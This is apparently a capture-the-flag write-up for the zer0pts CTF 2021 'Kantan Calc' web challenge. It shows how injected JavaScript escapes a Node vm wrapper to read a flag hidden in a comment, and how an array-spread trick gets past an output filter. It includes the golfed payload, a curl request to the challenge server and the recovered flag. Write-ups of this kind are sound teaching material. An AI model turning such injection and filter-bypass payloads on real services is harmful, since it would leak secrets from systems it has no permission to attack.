Try   HackMD

Kantan Calc - zer0pts CTF 2021

tags: zer0pts CTF 2021 web

Overview

  • User input and the flag will be inserted into 'use strict'; (function () { return ${code}; /* ${FLAG} */ })(), and the server executes the code in sandbox.
const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, {}, { timeout: 100 });
  • As you can see in the code, the flag is inserted as a comment in a function, after user input. So, what you need to do is somehow exfiltrating the comment by, for example, converting the function to String and outputting it.
  • Since the server sets the maximum length of user input to 29 characters, you need to do code-golf with some features available in recent ECMAScript.
const code = req.query.code + ''; if (code && code.length < 30) {

Solution

Separating FLAG comment to a different function

First you need to do is accessing to the function itself. However, since 'use strict' is enabled, you cannot use arguments.callee.

One way to avoid the restriction is separating functions. You can access a function, which contains FLAG as a comment, as a parameter like below.

'use strict'; (function () { return arguments[0] })(function () {; /* ${FLAG} */ })()
                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                           (inserted code)

Code golf

  1. Use arrow functions (-1 byte)
'use strict'; (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()
                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                          (inserted code)
  1. If arrow functions have no arguments, you need to put parentheses. However, JavaScript allows you to put arguments even though no parameters will be given (-2 bytes)
'use strict'; (function () { return a => arguments[0]})(b => {; /* ${FLAG} */ })()
                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^
                                          (inserted code)
  1. Remove spaces (-4 bytes)
'use strict'; (function () { return a=>arguments[0]})(b=>{; /* ${FLAG} */ })()
                                    ^^^^^^^^^^^^^^^^^^^^^^
                                        (inserted code)

This code should return the function b=>{; /* ${FLAG} */ }.

However, when you submit this payload a=>arguments[0]})(b=>{, the server shows Error: please do not exfiltrate the flag. This is because if output, which is the result of vm.runInNewContext, contains zer0pts, the server does not print the result. You need to bypass this restriction.

if (output.includes('zer0pts')) { output = 'Error: please do not exfiltrate the flag'; }

Bypass the restriction

There are some ways to bypass the restriction, such as converting the function to String, then get the contents character by character with the bracket notation like str[i]. This time, let's use the way converting the function to String and then treating it as Array.

Recent JavaScript has spread syntax, which can be used to converting String to Array as below.

[...'abc'] // => ["a", "b", "c"]

And, when you converting Array to String, the result will be comma separated string.

["a", "b", "c"] + '' // => "a,b,c"

With these behaviors, you can bypass the restriction of the server with the payload as below.

'use strict'; (function () { return a=>[...arguments[0]+0]})(b=>{; /* ${FLAG} */ })()
                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                           (inserted code)
$ curl http://web.ctf.zer0pts.com:8002/?code=a%3D%3E%5B...arguments%5B0%5D%2B0%5D%7D%29%28b%3D%3E%7B
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Kantan Calc</title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><main><h1>Kantan Calc</h1><p>"Kantan" means simple or easy in Japanese.</p><a href="/source">source</a><h2>Code</h2><form action="/" method="get"><input type="text" name="code" size="40" placeholder="7*7" maxlength="29"><input type="submit" value="submit"></form><h2>Output</h2><output>b,=,&gt;,{,;, ,/,*, ,z,e,r,0,p,t,s,{,K,4,n,t,4,n,_,m,3,4,n,s,_,4,d,m,1,r,4,t,1,o,n,_,1,n,_,J,4,p,4,n,3,s,3,}, ,*,/, ,},0</output></main></body></html>
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}